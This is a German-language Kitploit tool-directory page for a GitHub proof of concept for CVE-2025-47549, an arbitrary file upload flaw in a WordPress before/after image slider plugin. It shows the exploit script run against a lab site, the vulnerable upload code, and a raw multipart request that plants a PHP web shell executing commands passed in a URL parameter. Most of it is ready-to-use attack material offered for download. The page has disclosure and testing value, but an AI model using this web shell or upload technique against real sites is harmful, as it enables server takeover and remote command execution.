Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-47549 — Ultimate Before After Image Slider & Gallery – BEAF <= 4.6.10 - Authentifizierter (Admin+) Upload beliebiger Dateien über beaf_options_save | Kitploit
Tools/GitHubGitHub/d0n601/cve-2025-47549
Payload-GenerierungSchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPenetrationstests
GitHubd0n601/cve-2025-47549

CVE-2025-47549

Ultimate Before After Image Slider & Gallery – BEAF <= 4.6.10 - Authentifizierter (Admin+) Upload beliebiger Dateien über beaf_options_save

Repository anzeigen
vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Ultimate Before After Image Slider & Gallery – BEAF <= 4.6.10 - Authentifizierter (Admin+) beliebiger Datei-Upload über beaf_options_save

Das Plugin Ultimate Before After Image Slider & Gallery validiert die Dateitypen der beaf_options_save-Aktion nicht, sodass Administratoren oder höher beliebige Dateien hochladen und möglicherweise Codeausführung auf dem Server erlangen können.

TL;DR Exploits

  • Ein POC CVE-2025-47549.py wird bereitgestellt, um zu demonstrieren, wie ein Administrator eine Webshell namens shell.php hochlädt.
root@kitploit:~
python3 CVE-2025-47549.py https://lab1.hacker admin PASSWORD
Logging into: https://lab1.hacker/wp-admin
Extracting nonce values...
Uploading web shell: shell.php
{"status":"success","message":"Options saved successfully!"}
Web Shell Location: https://lab1.hacker/wp-content/uploads/itinerary-fonts/shell.php

Executing test command: ip addr
<pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff
    altname enp0s3
    inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0
       valid_lft 68200sec preferred_lft 68200sec
    inet6 fd17:625c:f037:2:a00:27ff:fe5b:342f/64 scope global dynamic mngtmpaddr noprefixroute 
       valid_lft 86113sec preferred_lft 14113sec
    inet6 fe80::a00:27ff:fe5b:342f/64 scope link 
       valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:39:ea:eb brd ff:ff:ff:ff:ff:ff
    altname enp0s8
    inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1
       valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe39:eaeb/64 scope link 
       valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:e5:9e:f6:23 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
</pre>

Details

Die beaf_options_save-Aktion ruft die Funktion beaf_save_options() in Zeile 227 von /wp-content/plugins/beaf-before-and-after-gallery/admin/tf-options/classes/BEAF_Settings.php auf, ohne irgendeine Dateitypvalidierung zu erzwingen.

Die Zeilen 281-292 dieser Funktion prüfen die HTTP-Anfrage auf $_FILES und validieren den MIME-Typ nur gegen einen generischen application/octet-stream. Danach speichert sie die Datei in einem über das Web zugänglichen Verzeichnis /wp-content/uploads/itinerary-fonts.

root@kitploit:~
    if ( isset( $_FILES ) && ! empty( $_FILES['file'] ) ) {
        $tf_upload_dir = wp_upload_dir();
        if ( ! empty( $tf_upload_dir['basedir'] ) ) {
            $tf_itinerary_fonts = $tf_upload_dir['basedir'] . '/itinerary-fonts';
            if ( ! file_exists( $tf_itinerary_fonts ) ) {
                wp_mkdir_p( $tf_itinerary_fonts );
            }
            $tf_fonts_extantions = array( 'application/octet-stream' );
            for ( $i = 0; $i < count( $_FILES['file']['name'] ); $i++ ) {
                if ( in_array( $_FILES['file']['type'][ $i ], $tf_fonts_extantions ) ) {
                    $tf_font_filename = $_FILES['file']['name'][ $i ];
                    move_uploaded_file( $_FILES['file']['tmp_name'][ $i ], $tf_itinerary_fonts . '/' . $tf_font_filename );
                }
            }
        }
    }

Manuelle Reproduktion

  1. Melden Sie sich im Admin-Panel an und navigieren Sie zu Before and After Slider -> Settings.
    • Beispiel: https://lab1.hacker/wp-admin/edit.php?post_type=bafg&page=beaf_settings.
  2. Starten Sie Burp Suite oder ein ähnliches Tool und beginnen Sie, den Datenverkehr abzufangen.
  3. Klicken Sie in der unteren rechten Ecke auf die Schaltfläche Save. test1
  4. Fangen Sie die POST-Anfrage in Burp ab und fügen Sie Ihre eigenen Dateidaten hinzu (stellen Sie sicher, dass Sie die korrekten Formulargrenzen verwenden).
root@kitploit:~
------WebKitFormBoundarydAJeoqdwR5qxfDb1
Content-Disposition: form-data; name="file[]"; filename="shell.php"
Content-Type: application/octet-stream

<?php
// Silence is golden
if (!empty($_GET['cmd'])) {
    echo "<pre>".shell_exec($_GET["cmd"])."</pre>";
}
------WebKitFormBoundarydAJeoqdwR5qxfDb1--
  1. Ändern Sie die nächste Anfrage mit den Formulardaten und setzen Sie den Dateinamen auf poc.php: test2
  2. Navigieren Sie zu https://lab1.hacker/wp-content/uploads/itinerary-fonts/shell.php, um den Proof of Concept auszuführen. test3
Tool herunterladen